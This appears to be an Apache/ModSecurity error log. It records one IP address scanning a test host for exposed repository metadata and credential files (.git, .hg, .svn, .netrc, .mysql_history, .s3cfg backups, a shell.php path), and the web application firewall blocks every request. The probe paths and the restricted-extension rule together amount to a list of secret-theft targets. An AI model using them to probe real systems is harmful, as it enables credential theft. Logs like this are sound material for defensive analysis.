[Sun Mar 22 01:06:09.660581 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/main&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAAAAAAg&quot;]
[Sun Mar 22 01:06:09.660785 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/main&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAAAAAAg&quot;]
[Sun Mar 22 01:06:09.660930 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/main&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAAAAAAg&quot;]
[Sun Mar 22 01:06:09.683191 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/master&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAQAAAAg&quot;]
[Sun Mar 22 01:06:09.683385 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/master&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAQAAAAg&quot;]
[Sun Mar 22 01:06:09.683538 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/remotes/origin/master&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAQAAAAg&quot;]
[Sun Mar 22 01:06:09.705735 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/stash&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAgAAAAg&quot;]
[Sun Mar 22 01:06:09.705917 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAgAAAAg&quot;]
[Sun Mar 22 01:06:09.706060 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/stash&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAgAAAAg&quot;]
[Sun Mar 22 01:06:09.728128 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/tags/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/tags/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAwAAAAg&quot;]
[Sun Mar 22 01:06:09.728310 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/tags/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAwAAAAg&quot;]
[Sun Mar 22 01:06:09.728439 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/tags/&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFAwAAAAg&quot;]
[Sun Mar 22 01:06:09.750641 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/shell.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/shell.php&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFBAAAAAg&quot;]
[Sun Mar 22 01:06:09.750836 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/shell.php&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFBAAAAAg&quot;]
[Sun Mar 22 01:06:09.751003 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/shell.php&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFBAAAAAg&quot;]
[Sun Mar 22 01:06:09.841412 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/hgrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFCAAAAAg&quot;]
[Sun Mar 22 01:06:09.841607 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFCAAAAAg&quot;]
[Sun Mar 22 01:06:09.841779 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFCAAAAAg&quot;]
[Sun Mar 22 01:06:09.886094 2026] [authz_core:error] [pid 2857388] [client 185.177.72.38:45094] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Sun Mar 22 01:06:09.908094 2026] [authz_core:error] [pid 2857388] [client 185.177.72.38:45094] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htpasswd
[Sun Mar 22 01:06:09.952957 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.mysql_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .mysql_history found within REQUEST_FILENAME: /.mysql_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.mysql_history&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFDQAAAAg&quot;]
[Sun Mar 22 01:06:09.953147 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.mysql_history&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFDQAAAAg&quot;]
[Sun Mar 22 01:06:09.953287 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.mysql_history&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFDQAAAAg&quot;]
[Sun Mar 22 01:06:09.975309 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFDgAAAAg&quot;]
[Sun Mar 22 01:06:09.975488 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFDgAAAAg&quot;]
[Sun Mar 22 01:06:09.975600 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKMFDgAAAAg&quot;]
[Sun Mar 22 01:06:10.111003 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.bak&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFFAAAAAg&quot;]
[Sun Mar 22 01:06:10.111489 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.bak&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFFAAAAAg&quot;]
[Sun Mar 22 01:06:10.111675 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.bak&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFFAAAAAg&quot;]
[Sun Mar 22 01:06:10.133728 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.old&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFFQAAAAg&quot;]
[Sun Mar 22 01:06:10.134111 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.old&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFFQAAAAg&quot;]
[Sun Mar 22 01:06:10.134273 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.s3cfg.old&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFFQAAAAg&quot;]
[Sun Mar 22 01:06:10.247965 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFGgAAAAg&quot;]
